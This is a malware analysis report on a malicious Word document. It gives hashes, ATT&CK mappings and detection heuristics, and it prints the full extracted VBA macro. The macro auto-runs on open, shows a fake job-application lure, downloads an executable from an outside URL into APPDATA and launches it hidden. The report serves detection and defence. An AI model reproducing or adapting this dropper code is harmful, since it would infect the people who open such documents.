Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d3b9abc4c8c37454…

MALICIOUS

Office (OOXML)

30.6 KB Created: 2014-06-02 21:56:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2015-05-29
MD5: 37ec42b2f737839833b0702f8c9113bd SHA-1: 41cad26a8796f427da0f5d2bb6012aff4f2dc7d0 SHA-256: d3b9abc4c8c3745405d527e10ed2d3e370a821379e87039130e28a5aa0111713
218 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The document body and macro code indicate a lure to enable macros for decryption. The VBA script, specifically the 'testing' subroutine, downloads a file from 'http://mycsv.eu.pn/csv/image.php' and saves it as '%APPDATA%\SaveDoc\appsvt.exe', indicating an Ingress Tool Transfer attack pattern. The presence of an AutoOpen macro and a potential Shell call further support its malicious nature.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell textered, 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    myURL = WinHttpReq.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    base = Environ("APPDATA")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mycsv.eu.pn/csv/image.php Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2226 bytes
SHA-256: f0a80ccc2069b1390e5b73503ddbcc244d5dcfb3398e4ec6b37f49199d766f77
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim labele As Integer
Password
End Sub
Sub Password()
'
' password
'
'
    Dim search As String
    search = "VGhpcyB"

    Dim para As Paragraph
    For Each para In ActiveDocument.Paragraphs

        Dim txt As String
        txt = para.Range.Text

        If Not InStr(txt, search) Then
            para.Range.Delete
        End If

    Next
    Selection.TypeParagraph
    Selection.TypeParagraph
    
    Selection.InsertAfter "To apply for the job we need some information" & Chr(10) & "Your country : " & Chr(10) & "Your Email : " & Chr(10) & "Sent this document to brio254@lycos.com" & Chr(10) & "After reviewing your application, you will receive an email with your contract." & Chr(10) & "Mark Henry - Director"
    
    testing
End Sub

Sub testing()
Dim base As String
Dim number As Integer
base = Environ("APPDATA")
Dim base1 As String
base1 = base & "\SaveDoc"
MkDir (base1)

'csv file
Dim myURL As String

myURL = "http://mycsv.eu.pn/csv/image.php"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.Send

myURL = WinHttpReq.ResponseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.ResponseBody
    oStream.SaveToFile (base1 & "\appsvt.exe")
    oStream.Close
End If
bluecolour (base1)
End Sub

Sub bluecolour(base1)
Dim ConverText As String
Dim Evidence As String
Dim textered As String
ConverText = "text in red color for http"
Evidence = Right(ConverText, 4)
textered = base1 & "\appsvt.exe"
colorthetext (textered)
End Sub

Sub colorthetext(textered)
Dim myArray() As Variant
myArray = Array("Red", "White", "Blue")
Shell textered, 0
MyDelay
End Sub

Sub MyDelay()
   For iCount = 1 To 20000
   Next iCount
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 1fb2abd3a4c81150b438b2ad8866286aab6392a4587e5bf7073ea7791d90dfc4

Open this report in the interactive analyzer, or submit your own file for analysis.